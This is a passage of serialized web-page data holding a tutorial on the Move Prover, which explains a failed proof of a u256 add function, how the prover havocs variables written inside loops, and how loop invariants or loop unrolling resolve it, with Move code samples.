}\n",{"type":22,"tag":118,"props":12578,"children":12579},{"class":120,"line":318},[12580],{"type":22,"tag":118,"props":12581,"children":12582},{"style":532},[12583],{"type":28,"value":12584},"╰─────^\n",{"type":22,"tag":118,"props":12586,"children":12587},{"class":120,"line":351},[12588],{"type":22,"tag":118,"props":12589,"children":12590},{"emptyLinePlaceholder":15},[12591],{"type":28,"value":250},{"type":22,"tag":118,"props":12593,"children":12594},{"class":120,"line":359},[12595],{"type":22,"tag":118,"props":12596,"children":12597},{"style":125},[12598],{"type":28,"value":12317},{"type":22,"tag":118,"props":12600,"children":12601},{"class":120,"line":368},[12602],{"type":22,"tag":118,"props":12603,"children":12604},{"emptyLinePlaceholder":15},[12605],{"type":28,"value":250},{"type":22,"tag":118,"props":12607,"children":12608},{"class":120,"line":384},[12609,12614,12619],{"type":22,"tag":118,"props":12610,"children":12611},{"style":532},[12612],{"type":28,"value":12613}," at",{"type":22,"tag":118,"props":12615,"children":12616},{"style":1866},[12617],{"type":28,"value":12618}," ./sources/u256.move:316:",{"type":22,"tag":118,"props":12620,"children":12621},{"style":1866},[12622],{"type":28,"value":12623}," add\n",{"type":22,"tag":118,"props":12625,"children":12626},{"class":120,"line":417},[12627,12632,12637,12642,12646,12651,12655,12660,12665,12670,12675,12680],{"type":22,"tag":118,"props":12628,"children":12629},{"style":532},[12630],{"type":28,"value":12631}," enter",{"type":22,"tag":118,"props":12633,"children":12634},{"style":1866},[12635],{"type":28,"value":12636}," loop,",{"type":22,"tag":118,"props":12638,"children":12639},{"style":1866},[12640],{"type":28,"value":12641}," variable",{"type":22,"tag":118,"props":12643,"children":12644},{"style":125},[12645],{"type":28,"value":540},{"type":22,"tag":118,"props":12647,"children":12648},{"style":532},[12649],{"type":28,"value":12650},"s",{"type":22,"tag":118,"props":12652,"children":12653},{"style":125},[12654],{"type":28,"value":588},{"type":22,"tag":118,"props":12656,"children":12657},{"style":1866},[12658],{"type":28,"value":12659},"carry,",{"type":22,"tag":118,"props":12661,"children":12662},{"style":1866},[12663],{"type":28,"value":12664}," i,",{"type":22,"tag":118,"props":12666,"children":12667},{"style":1866},[12668],{"type":28,"value":12669}," ret",{"type":22,"tag":118,"props":12671,"children":12672},{"style":1866},[12673],{"type":28,"value":12674}," havocked",{"type":22,"tag":118,"props":12676,"children":12677},{"style":1866},[12678],{"type":28,"value":12679}," and",{"type":22,"tag":118,"props":12681,"children":12682},{"style":1866},[12683],{"type":28,"value":12684}," reassigned\n",{"type":22,"tag":118,"props":12686,"children":12687},{"class":120,"line":425},[12688,12693,12697],{"type":22,"tag":118,"props":12689,"children":12690},{"style":532},[12691],{"type":28,"value":12692},"     carry",{"type":22,"tag":118,"props":12694,"children":12695},{"style":1866},[12696],{"type":28,"value":837},{"type":22,"tag":118,"props":12698,"children":12699},{"style":674},[12700],{"type":28,"value":12701}," 54\n",{"type":22,"tag":118,"props":12703,"children":12704},{"class":120,"line":441},[12705,12710,12714],{"type":22,"tag":118,"props":12706,"children":12707},{"style":532},[12708],{"type":28,"value":12709},"     i",{"type":22,"tag":118,"props":12711,"children":12712},{"style":1866},[12713],{"type":28,"value":837},{"type":22,"tag":118,"props":12715,"children":12716},{"style":674},[12717],{"type":28,"value":12718}," 3792\n",{"type":22,"tag":118,"props":12720,"children":12721},{"class":120,"line":475},[12722,12727,12731,12736,12740,12745,12750,12754,12759,12764,12768,12773,12778,12782,12787],{"type":22,"tag":118,"props":12723,"children":12724},{"style":532},[12725],{"type":28,"value":12726},"     ret",{"type":22,"tag":118,"props":12728,"children":12729},{"style":1866},[12730],{"type":28,"value":837},{"type":22,"tag":118,"props":12732,"children":12733},{"style":1866},[12734],{"type":28,"value":12735}," u256.U256{v0",{"type":22,"tag":118,"props":12737,"children":12738},{"style":1866},[12739],{"type":28,"value":837},{"type":22,"tag":118,"props":12741,"children":12742},{"style":1866},[12743],{"type":28,"value":12744}," 26418,",{"type":22,"tag":118,"props":12746,"children":12747},{"style":1866},[12748],{"type":28,"value":12749}," v1",{"type":22,"tag":118,"props":12751,"children":12752},{"style":1866},[12753],{"type":28,"value":837},{"type":22,"tag":118,"props":12755,"children":12756},{"style":1866},[12757],{"type":28,"value":12758}," 27938,",{"type":22,"tag":118,"props":12760,"children":12761},{"style":1866},[12762],{"type":28,"value":12763}," v2",{"type":22,"tag":118,"props":12765,"children":12766},{"style":1866},[12767],{"type":28,"value":837},{"type":22,"tag":118,"props":12769,"children":12770},{"style":1866},[12771],{"type":28,"value":12772}," 6900,",{"type":22,"tag":118,"props":12774,"children":12775},{"style":1866},[12776],{"type":28,"value":12777}," v3",{"type":22,"tag":118,"props":12779,"children":12780},{"style":1866},[12781],{"type":28,"value":837},{"type":22,"tag":118,"props":12783,"children":12784},{"style":674},[12785],{"type":28,"value":12786}," 1999",{"type":22,"tag":118,"props":12788,"children":12789},{"style":1866},[12790],{"type":28,"value":481},{"type":22,"tag":118,"props":12792,"children":12793},{"class":120,"line":484},[12794,12798,12803],{"type":22,"tag":118,"props":12795,"children":12796},{"style":532},[12797],{"type":28,"value":12613},{"type":22,"tag":118,"props":12799,"children":12800},{"style":1866},[12801],{"type":28,"value":12802}," ./sources/u256.move:346:",{"type":22,"tag":118,"props":12804,"children":12805},{"style":1866},[12806],{"type":28,"value":12623},{"type":22,"tag":118,"props":12808,"children":12809},{"class":120,"line":492},[12810],{"type":22,"tag":118,"props":12811,"children":12812},{"style":532},[12813],{"type":28,"value":12814},"     ABORTED\n",{"type":22,"tag":118,"props":12816,"children":12817},{"class":120,"line":501},[12818],{"type":22,"tag":118,"props":12819,"children":12820},{"emptyLinePlaceholder":15},[12821],{"type":28,"value":250},{"type":22,"tag":118,"props":12823,"children":12824},{"class":120,"line":519},[12825,12830,12835,12839,12844,12849,12854,12858,12863,12867],{"type":22,"tag":118,"props":12826,"children":12827},{"style":532},[12828],{"type":28,"value":12829},"FAILURE",{"type":22,"tag":118,"props":12831,"children":12832},{"style":1866},[12833],{"type":28,"value":12834}," proving",{"type":22,"tag":118,"props":12836,"children":12837},{"style":674},[12838],{"type":28,"value":6535},{"type":22,"tag":118,"props":12840,"children":12841},{"style":1866},[12842],{"type":28,"value":12843}," modules",{"type":22,"tag":118,"props":12845,"children":12846},{"style":1866},[12847],{"type":28,"value":12848}," from",{"type":22,"tag":118,"props":12850,"children":12851},{"style":1866},[12852],{"type":28,"value":12853}," package",{"type":22,"tag":118,"props":12855,"children":12856},{"style":1866},[12857],{"type":28,"value":12372},{"type":22,"tag":118,"props":12859,"children":12860},{"style":532},[12861],{"type":28,"value":12862},"u256",{"type":22,"tag":118,"props":12864,"children":12865},{"style":1866},[12866],{"type":28,"value":12381},{"type":22,"tag":118,"props":12868,"children":12869},{"style":125},[12870],{"type":28,"value":12871}," in 9.143s\n",{"type":22,"tag":118,"props":12873,"children":12874},{"class":120,"line":606},[12875],{"type":22,"tag":118,"props":12876,"children":12877},{"style":125},[12878],{"type":28,"value":12879},"{\n",{"type":22,"tag":118,"props":12881,"children":12882},{"class":120,"line":615},[12883,12888,12892],{"type":22,"tag":118,"props":12884,"children":12885},{"style":532},[12886],{"type":28,"value":12887},"    \"Error\"",{"type":22,"tag":118,"props":12889,"children":12890},{"style":532},[12891],{"type":28,"value":213},{"type":22,"tag":118,"props":12893,"children":12894},{"style":1866},[12895],{"type":28,"value":12896}," \"Move Prover failed: exiting with verification errors\"\n",{"type":22,"tag":118,"props":12898,"children":12899},{"class":120,"line":685},[12900],{"type":22,"tag":118,"props":12901,"children":12902},{"style":125},[12903],{"type":28,"value":481},{"type":22,"tag":31,"props":12905,"children":12906},{},[12907,12909,12914],{"type":28,"value":12908},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":22,"tag":114,"props":12910,"children":12912},{"className":12911},[],[12913],{"type":28,"value":10327},{"type":28,"value":12915}," clauses. But there is no other abort situation that we have to cover, right?",{"type":22,"tag":31,"props":12917,"children":12918},{},[12919,12921,12927],{"type":28,"value":12920},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":22,"tag":114,"props":12922,"children":12924},{"className":12923},[],[12925],{"type":28,"value":12926},"ret havocked and reassigned",{"type":28,"value":292},{"type":22,"tag":31,"props":12929,"children":12930},{},[12931],{"type":28,"value":12932},"What does this mean?",{"type":22,"tag":31,"props":12934,"children":12935},{},[12936,12938,12945],{"type":28,"value":12937},"By diving into the Move Prover source, we find a ",{"type":22,"tag":42,"props":12939,"children":12942},{"href":12940,"rel":12941},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[46],[12943],{"type":28,"value":12944},"likely suspect",{"type":28,"value":12946},". The prover attempts to prove all loops with induction!",{"type":22,"tag":31,"props":12948,"children":12949},{},[12950],{"type":28,"value":12951},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":22,"tag":4029,"props":12953,"children":12954},{},[12955,12960],{"type":22,"tag":68,"props":12956,"children":12957},{},[12958],{"type":28,"value":12959},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":22,"tag":68,"props":12961,"children":12962},{},[12963],{"type":28,"value":12964},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":22,"tag":31,"props":12966,"children":12967},{},[12968,12970,12975,12977,12983,12984,12990,12992,12997,12999,13004],{"type":28,"value":12969},"The loop prover will also ",{"type":22,"tag":74,"props":12971,"children":12972},{},[12973],{"type":28,"value":12974},"havoc, or assign random values to, all variables written to inside the loop",{"type":28,"value":12976},". Going back to the log message, this implies that the variables ",{"type":22,"tag":114,"props":12978,"children":12980},{"className":12979},[],[12981],{"type":28,"value":12982},"carry",{"type":28,"value":231},{"type":22,"tag":114,"props":12985,"children":12987},{"className":12986},[],[12988],{"type":28,"value":12989},"ret",{"type":28,"value":12991}," and ",{"type":22,"tag":114,"props":12993,"children":12995},{"className":12994},[],[12996],{"type":28,"value":3613},{"type":28,"value":12998}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":22,"tag":114,"props":13000,"children":13002},{"className":13001},[],[13003],{"type":28,"value":11636},{"type":28,"value":13005}," makes no sense.",{"type":22,"tag":31,"props":13007,"children":13008},{},[13009],{"type":28,"value":13010},"More concretely, the loop analysis translates into the following steps.",{"type":22,"tag":4029,"props":13012,"children":13013},{},[13014,13019,13024,13029,13034,13039],{"type":22,"tag":68,"props":13015,"children":13016},{},[13017],{"type":28,"value":13018},"Assert the loop invariant",{"type":22,"tag":68,"props":13020,"children":13021},{},[13022],{"type":28,"value":13023},"Havoc all modified variables",{"type":22,"tag":68,"props":13025,"children":13026},{},[13027],{"type":28,"value":13028},"Assume the loop invariant",{"type":22,"tag":68,"props":13030,"children":13031},{},[13032],{"type":28,"value":13033},"Assume the loop guard (the code inside the while condition)",{"type":22,"tag":68,"props":13035,"children":13036},{},[13037],{"type":28,"value":13038},"Run the loop body",{"type":22,"tag":68,"props":13040,"children":13041},{},[13042],{"type":28,"value":13018},{"type":22,"tag":31,"props":13044,"children":13045},{},[13046],{"type":28,"value":13047},"There are two approaches to dealing with loops.",{"type":22,"tag":31,"props":13049,"children":13050},{},[13051],{"type":28,"value":13052},"The first would be to specify a loop invariant.",{"type":22,"tag":31,"props":13054,"children":13055},{},[13056,13058,13065],{"type":28,"value":13057},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":22,"tag":42,"props":13059,"children":13062},{"href":13060,"rel":13061},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[46],[13063],{"type":28,"value":13064},"previous post",{"type":28,"value":292},{"type":22,"tag":107,"props":13067,"children":13069},{"code":13068,"language":111,"meta":7,"className":109,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n      vector::push_back(\n          &mut amounts_times_coins,\n          (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n      );\n      i = i + 1;\n  };\n",[13070],{"type":22,"tag":114,"props":13071,"children":13072},{"__ignoreMap":7},[13073,13085,13096,13132,13155,13238,13245,13269,13277,13297,13317,13408,13415,13443],{"type":22,"tag":118,"props":13074,"children":13075},{"class":120,"line":121},[13076,13081],{"type":22,"tag":118,"props":13077,"children":13078},{"style":1480},[13079],{"type":28,"value":13080},"  while",{"type":22,"tag":118,"props":13082,"children":13083},{"style":125},[13084],{"type":28,"value":10535},{"type":22,"tag":118,"props":13086,"children":13087},{"class":120,"line":142},[13088,13092],{"type":22,"tag":118,"props":13089,"children":13090},{"style":204},[13091],{"type":28,"value":10929},{"type":22,"tag":118,"props":13093,"children":13094},{"style":125},[13095],{"type":28,"value":1474},{"type":22,"tag":118,"props":13097,"children":13098},{"class":120,"line":177},[13099,13104,13108,13112,13116,13120,13124,13128],{"type":22,"tag":118,"props":13100,"children":13101},{"style":204},[13102],{"type":28,"value":13103},"          invariant",{"type":22,"tag":118,"props":13105,"children":13106},{"style":532},[13107],{"type":28,"value":10560},{"type":22,"tag":118,"props":13109,"children":13110},{"style":125},[13111],{"type":28,"value":540},{"type":22,"tag":118,"props":13113,"children":13114},{"style":204},[13115],{"type":28,"value":10569},{"type":22,"tag":118,"props":13117,"children":13118},{"style":125},[13119],{"type":28,"value":588},{"type":22,"tag":118,"props":13121,"children":13122},{"style":210},[13123],{"type":28,"value":302},{"type":22,"tag":118,"props":13125,"children":13126},{"style":204},[13127],{"type":28,"value":5416},{"type":22,"tag":118,"props":13129,"children":13130},{"style":125},[13131],{"type":28,"value":801},{"type":22,"tag":118,"props":13133,"children":13134},{"class":120,"line":195},[13135,13139,13143,13147,13151],{"type":22,"tag":118,"props":13136,"children":13137},{"style":204},[13138],{"type":28,"value":13103},{"type":22,"tag":118,"props":13140,"children":13141},{"style":204},[13142],{"type":28,"value":5416},{"type":22,"tag":118,"props":13144,"children":13145},{"style":210},[13146],{"type":28,"value":1798},{"type":22,"tag":118,"props":13148,"children":13149},{"style":204},[13150],{"type":28,"value":10489},{"type":22,"tag":118,"props":13152,"children":13153},{"style":125},[13154],{"type":28,"value":801},{"type":22,"tag":118,"props":13156,"children":13157},{"class":120,"line":244},[13158,13162,13166,13170,13174,13178,13182,13186,13190,13194,13198,13202,13206,13210,13214,13218,13222,13226,13230,13234],{"type":22,"tag":118,"props":13159,"children":13160},{"style":204},[13161],{"type":28,"value":13103},{"type":22,"tag":118,"props":13163,"children":13164},{"style":204},[13165],{"type":28,"value":10620},{"type":22,"tag":118,"props":13167,"children":13168},{"style":204},[13169],{"type":28,"value":10625},{"type":22,"tag":118,"props":13171,"children":13172},{"style":146},[13173],{"type":28,"value":5069},{"type":22,"tag":118,"props":13175,"children":13176},{"style":674},[13177],{"type":28,"value":5074},{"type":22,"tag":118,"props":13179,"children":13180},{"style":210},[13181],{"type":28,"value":5079},{"type":22,"tag":118,"props":13183,"children":13184},{"style":204},[13185],{"type":28,"value":3613},{"type":22,"tag":118,"props":13187,"children":13188},{"style":210},[13189],{"type":28,"value":213},{"type":22,"tag":118,"props":13191,"children":13192},{"style":204},[13193],{"type":28,"value":10424},{"type":22,"tag":118,"props":13195,"children":13196},{"style":125},[13197],{"type":28,"value":5746},{"type":22,"tag":118,"props":13199,"children":13200},{"style":204},[13201],{"type":28,"value":10658},{"type":22,"tag":118,"props":13203,"children":13204},{"style":125},[13205],{"type":28,"value":10663},{"type":22,"tag":118,"props":13207,"children":13208},{"style":210},[13209],{"type":28,"value":302},{"type":22,"tag":118,"props":13211,"children":13212},{"style":204},[13213],{"type":28,"value":10672},{"type":22,"tag":118,"props":13215,"children":13216},{"style":125},[13217],{"type":28,"value":5746},{"type":22,"tag":118,"props":13219,"children":13220},{"style":204},[13221],{"type":28,"value":10658},{"type":22,"tag":118,"props":13223,"children":13224},{"style":125},[13225],{"type":28,"value":10663},{"type":22,"tag":118,"props":13227,"children":13228},{"style":210},[13229],{"type":28,"value":671},{"type":22,"tag":118,"props":13231,"children":13232},{"style":204},[13233],{"type":28,"value":10489},{"type":22,"tag":118,"props":13235,"children":13236},{"style":125},[13237],{"type":28,"value":801},{"type":22,"tag":118,"props":13239,"children":13240},{"class":120,"line":253},[13241],{"type":22,"tag":118,"props":13242,"children":13243},{"style":125},[13244],{"type":28,"value":10921},{"type":22,"tag":118,"props":13246,"children":13247},{"class":120,"line":263},[13248,13253,13257,13261,13265],{"type":22,"tag":118,"props":13249,"children":13250},{"style":125},[13251],{"type":28,"value":13252},"      (",{"type":22,"tag":118,"props":13254,"children":13255},{"style":204},[13256],{"type":28,"value":3613},{"type":22,"tag":118,"props":13258,"children":13259},{"style":210},[13260],{"type":28,"value":2197},{"type":22,"tag":118,"props":13262,"children":13263},{"style":204},[13264],{"type":28,"value":10489},{"type":22,"tag":118,"props":13266,"children":13267},{"style":125},[13268],{"type":28,"value":3665},{"type":22,"tag":118,"props":13270,"children":13271},{"class":120,"line":318},[13272],{"type":22,"tag":118,"props":13273,"children":13274},{"style":125},[13275],{"type":28,"value":13276},"  }) {\n",{"type":22,"tag":118,"props":13278,"children":13279},{"class":120,"line":351},[13280,13285,13289,13293],{"type":22,"tag":118,"props":13281,"children":13282},{"style":125},[13283],{"type":28,"value":13284},"      vector",{"type":22,"tag":118,"props":13286,"children":13287},{"style":210},[13288],{"type":28,"value":1190},{"type":22,"tag":118,"props":13290,"children":13291},{"style":532},[13292],{"type":28,"value":10753},{"type":22,"tag":118,"props":13294,"children":13295},{"style":125},[13296],{"type":28,"value":696},{"type":22,"tag":118,"props":13298,"children":13299},{"class":120,"line":359},[13300,13305,13309,13313],{"type":22,"tag":118,"props":13301,"children":13302},{"style":210},[13303],{"type":28,"value":13304},"          &",{"type":22,"tag":118,"props":13306,"children":13307},{"style":146},[13308],{"type":28,"value":188},{"type":22,"tag":118,"props":13310,"children":13311},{"style":204},[13312],{"type":28,"value":10424},{"type":22,"tag":118,"props":13314,"children":13315},{"style":125},[13316],{"type":28,"value":782},{"type":22,"tag":118,"props":13318,"children":13319},{"class":120,"line":368},[13320,13324,13328,13332,13336,13340,13344,13348,13352,13356,13360,13364,13368,13372,13376,13380,13384,13388,13392,13396,13400,13404],{"type":22,"tag":118,"props":13321,"children":13322},{"style":125},[13323],{"type":28,"value":10712},{"type":22,"tag":118,"props":13325,"children":13326},{"style":210},[13327],{"type":28,"value":671},{"type":22,"tag":118,"props":13329,"children":13330},{"style":125},[13331],{"type":28,"value":10794},{"type":22,"tag":118,"props":13333,"children":13334},{"style":210},[13335],{"type":28,"value":1190},{"type":22,"tag":118,"props":13337,"children":13338},{"style":532},[13339],{"type":28,"value":10803},{"type":22,"tag":118,"props":13341,"children":13342},{"style":125},[13343],{"type":28,"value":540},{"type":22,"tag":118,"props":13345,"children":13346},{"style":210},[13347],{"type":28,"value":1407},{"type":22,"tag":118,"props":13349,"children":13350},{"style":204},[13351],{"type":28,"value":10369},{"type":22,"tag":118,"props":13353,"children":13354},{"style":125},[13355],{"type":28,"value":10820},{"type":22,"tag":118,"props":13357,"children":13358},{"style":204},[13359],{"type":28,"value":3613},{"type":22,"tag":118,"props":13361,"children":13362},{"style":146},[13363],{"type":28,"value":10829},{"type":22,"tag":118,"props":13365,"children":13366},{"style":131},[13367],{"type":28,"value":583},{"type":22,"tag":118,"props":13369,"children":13370},{"style":125},[13371],{"type":28,"value":10838},{"type":22,"tag":118,"props":13373,"children":13374},{"style":146},[13375],{"type":28,"value":1215},{"type":22,"tag":118,"props":13377,"children":13378},{"style":131},[13379],{"type":28,"value":10847},{"type":22,"tag":118,"props":13381,"children":13382},{"style":125},[13383],{"type":28,"value":588},{"type":22,"tag":118,"props":13385,"children":13386},{"style":210},[13387],{"type":28,"value":671},{"type":22,"tag":118,"props":13389,"children":13390},{"style":125},[13391],{"type":28,"value":842},{"type":22,"tag":118,"props":13393,"children":13394},{"style":204},[13395],{"type":28,"value":10864},{"type":22,"tag":118,"props":13397,"children":13398},{"style":146},[13399],{"type":28,"value":10829},{"type":22,"tag":118,"props":13401,"children":13402},{"style":131},[13403],{"type":28,"value":10847},{"type":22,"tag":118,"props":13405,"children":13406},{"style":125},[13407],{"type":28,"value":3665},{"type":22,"tag":118,"props":13409,"children":13410},{"class":120,"line":384},[13411],{"type":22,"tag":118,"props":13412,"children":13413},{"style":125},[13414],{"type":28,"value":8774},{"type":22,"tag":118,"props":13416,"children":13417},{"class":120,"line":417},[13418,13423,13427,13431,13435,13439],{"type":22,"tag":118,"props":13419,"children":13420},{"style":204},[13421],{"type":28,"value":13422},"      i",{"type":22,"tag":118,"props":13424,"children":13425},{"style":210},[13426],{"type":28,"value":837},{"type":22,"tag":118,"props":13428,"children":13429},{"style":204},[13430],{"type":28,"value":5416},{"type":22,"tag":118,"props":13432,"children":13433},{"style":210},[13434],{"type":28,"value":10905},{"type":22,"tag":118,"props":13436,"children":13437},{"style":674},[13438],{"type":28,"value":6535},{"type":22,"tag":118,"props":13440,"children":13441},{"style":125},[13442],{"type":28,"value":801},{"type":22,"tag":118,"props":13444,"children":13445},{"class":120,"line":425},[13446],{"type":22,"tag":118,"props":13447,"children":13448},{"style":125},[13449],{"type":28,"value":13450},"  };\n",{"type":22,"tag":31,"props":13452,"children":13453},{},[13454,13456,13462,13464,13469,13471,13477],{"type":28,"value":13455},"In this case, the brackets specify the loop invariant for the ",{"type":22,"tag":114,"props":13457,"children":13459},{"className":13458},[],[13460],{"type":28,"value":13461},"while",{"type":28,"value":13463}," loop. Note that because the loop invariant executes ",{"type":22,"tag":4764,"props":13465,"children":13466},{},[13467],{"type":28,"value":13468},"after",{"type":28,"value":13470}," the loop guard, so we need to account for an extra step with ",{"type":22,"tag":114,"props":13472,"children":13474},{"className":13473},[],[13475],{"type":28,"value":13476},"i \u003C= n_coins",{"type":28,"value":292},{"type":22,"tag":107,"props":13479,"children":13481},{"code":13480,"language":111,"meta":7,"className":109,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n",[13482],{"type":22,"tag":114,"props":13483,"children":13484},{"__ignoreMap":7},[13485,13496,13507,13542,13565,13648,13655,13678],{"type":22,"tag":118,"props":13486,"children":13487},{"class":120,"line":121},[13488,13492],{"type":22,"tag":118,"props":13489,"children":13490},{"style":1480},[13491],{"type":28,"value":13080},{"type":22,"tag":118,"props":13493,"children":13494},{"style":125},[13495],{"type":28,"value":10535},{"type":22,"tag":118,"props":13497,"children":13498},{"class":120,"line":142},[13499,13503],{"type":22,"tag":118,"props":13500,"children":13501},{"style":204},[13502],{"type":28,"value":10929},{"type":22,"tag":118,"props":13504,"children":13505},{"style":125},[13506],{"type":28,"value":1474},{"type":22,"tag":118,"props":13508,"children":13509},{"class":120,"line":177},[13510,13514,13518,13522,13526,13530,13534,13538],{"type":22,"tag":118,"props":13511,"children":13512},{"style":204},[13513],{"type":28,"value":13103},{"type":22,"tag":118,"props":13515,"children":13516},{"style":532},[13517],{"type":28,"value":10560},{"type":22,"tag":118,"props":13519,"children":13520},{"style":125},[13521],{"type":28,"value":540},{"type":22,"tag":118,"props":13523,"children":13524},{"style":204},[13525],{"type":28,"value":10569},{"type":22,"tag":118,"props":13527,"children":13528},{"style":125},[13529],{"type":28,"value":588},{"type":22,"tag":118,"props":13531,"children":13532},{"style":210},[13533],{"type":28,"value":302},{"type":22,"tag":118,"props":13535,"children":13536},{"style":204},[13537],{"type":28,"value":5416},{"type":22,"tag":118,"props":13539,"children":13540},{"style":125},[13541],{"type":28,"value":801},{"type":22,"tag":118,"props":13543,"children":13544},{"class":120,"line":195},[13545,13549,13553,13557,13561],{"type":22,"tag":118,"props":13546,"children":13547},{"style":204},[13548],{"type":28,"value":13103},{"type":22,"tag":118,"props":13550,"children":13551},{"style":204},[13552],{"type":28,"value":5416},{"type":22,"tag":118,"props":13554,"children":13555},{"style":210},[13556],{"type":28,"value":1798},{"type":22,"tag":118,"props":13558,"children":13559},{"style":204},[13560],{"type":28,"value":10489},{"type":22,"tag":118,"props":13562,"children":13563},{"style":125},[13564],{"type":28,"value":801},{"type":22,"tag":118,"props":13566,"children":13567},{"class":120,"line":244},[13568,13572,13576,13580,13584,13588,13592,13596,13600,13604,13608,13612,13616,13620,13624,13628,13632,13636,13640,13644],{"type":22,"tag":118,"props":13569,"children":13570},{"style":204},[13571],{"type":28,"value":13103},{"type":22,"tag":118,"props":13573,"children":13574},{"style":204},[13575],{"type":28,"value":10620},{"type":22,"tag":118,"props":13577,"children":13578},{"style":204},[13579],{"type":28,"value":10625},{"type":22,"tag":118,"props":13581,"children":13582},{"style":146},[13583],{"type":28,"value":5069},{"type":22,"tag":118,"props":13585,"children":13586},{"style":674},[13587],{"type":28,"value":5074},{"type":22,"tag":118,"props":13589,"children":13590},{"style":210},[13591],{"type":28,"value":5079},{"type":22,"tag":118,"props":13593,"children":13594},{"style":204},[13595],{"type":28,"value":3613},{"type":22,"tag":118,"props":13597,"children":13598},{"style":210},[13599],{"type":28,"value":213},{"type":22,"tag":118,"props":13601,"children":13602},{"style":204},[13603],{"type":28,"value":10424},{"type":22,"tag":118,"props":13605,"children":13606},{"style":125},[13607],{"type":28,"value":5746},{"type":22,"tag":118,"props":13609,"children":13610},{"style":204},[13611],{"type":28,"value":10658},{"type":22,"tag":118,"props":13613,"children":13614},{"style":125},[13615],{"type":28,"value":10663},{"type":22,"tag":118,"props":13617,"children":13618},{"style":210},[13619],{"type":28,"value":302},{"type":22,"tag":118,"props":13621,"children":13622},{"style":204},[13623],{"type":28,"value":10672},{"type":22,"tag":118,"props":13625,"children":13626},{"style":125},[13627],{"type":28,"value":5746},{"type":22,"tag":118,"props":13629,"children":13630},{"style":204},[13631],{"type":28,"value":10658},{"type":22,"tag":118,"props":13633,"children":13634},{"style":125},[13635],{"type":28,"value":10663},{"type":22,"tag":118,"props":13637,"children":13638},{"style":210},[13639],{"type":28,"value":671},{"type":22,"tag":118,"props":13641,"children":13642},{"style":204},[13643],{"type":28,"value":10489},{"type":22,"tag":118,"props":13645,"children":13646},{"style":125},[13647],{"type":28,"value":801},{"type":22,"tag":118,"props":13649,"children":13650},{"class":120,"line":253},[13651],{"type":22,"tag":118,"props":13652,"children":13653},{"style":125},[13654],{"type":28,"value":10921},{"type":22,"tag":118,"props":13656,"children":13657},{"class":120,"line":263},[13658,13662,13666,13670,13674],{"type":22,"tag":118,"props":13659,"children":13660},{"style":125},[13661],{"type":28,"value":13252},{"type":22,"tag":118,"props":13663,"children":13664},{"style":204},[13665],{"type":28,"value":3613},{"type":22,"tag":118,"props":13667,"children":13668},{"style":210},[13669],{"type":28,"value":2197},{"type":22,"tag":118,"props":13671,"children":13672},{"style":204},[13673],{"type":28,"value":10489},{"type":22,"tag":118,"props":13675,"children":13676},{"style":125},[13677],{"type":28,"value":3665},{"type":22,"tag":118,"props":13679,"children":13680},{"class":120,"line":318},[13681],{"type":22,"tag":118,"props":13682,"children":13683},{"style":125},[13684],{"type":28,"value":13276},{"type":22,"tag":31,"props":13686,"children":13687},{},[13688],{"type":28,"value":13689},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":22,"tag":31,"props":13691,"children":13692},{},[13693,13695,13700],{"type":28,"value":13694},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":22,"tag":114,"props":13696,"children":13698},{"className":13697},[],[13699],{"type":28,"value":11636},{"type":28,"value":13701}," function will always iterate exactly 4 times:",{"type":22,"tag":107,"props":13703,"children":13705},{"code":13704,"language":111,"meta":7,"className":109,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n    let a1 = get(&a, i);\n    let b1 = get(&b, i);\n\n[...]\n",[13706],{"type":22,"tag":114,"props":13707,"children":13708},{"__ignoreMap":7},[13709,13717,13750,13757,13773,13780,13803,13827,13872,13916,13923],{"type":22,"tag":118,"props":13710,"children":13711},{"class":120,"line":121},[13712],{"type":22,"tag":118,"props":13713,"children":13714},{"style":257},[13715],{"type":28,"value":13716},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":22,"tag":118,"props":13718,"children":13719},{"class":120,"line":142},[13720,13724,13729,13733,13737,13741,13746],{"type":22,"tag":118,"props":13721,"children":13722},{"style":146},[13723],{"type":28,"value":11653},{"type":22,"tag":118,"props":13725,"children":13726},{"style":125},[13727],{"type":28,"value":13728}," WORDS",{"type":22,"tag":118,"props":13730,"children":13731},{"style":210},[13732],{"type":28,"value":213},{"type":22,"tag":118,"props":13734,"children":13735},{"style":131},[13736],{"type":28,"value":583},{"type":22,"tag":118,"props":13738,"children":13739},{"style":210},[13740],{"type":28,"value":837},{"type":22,"tag":118,"props":13742,"children":13743},{"style":674},[13744],{"type":28,"value":13745}," 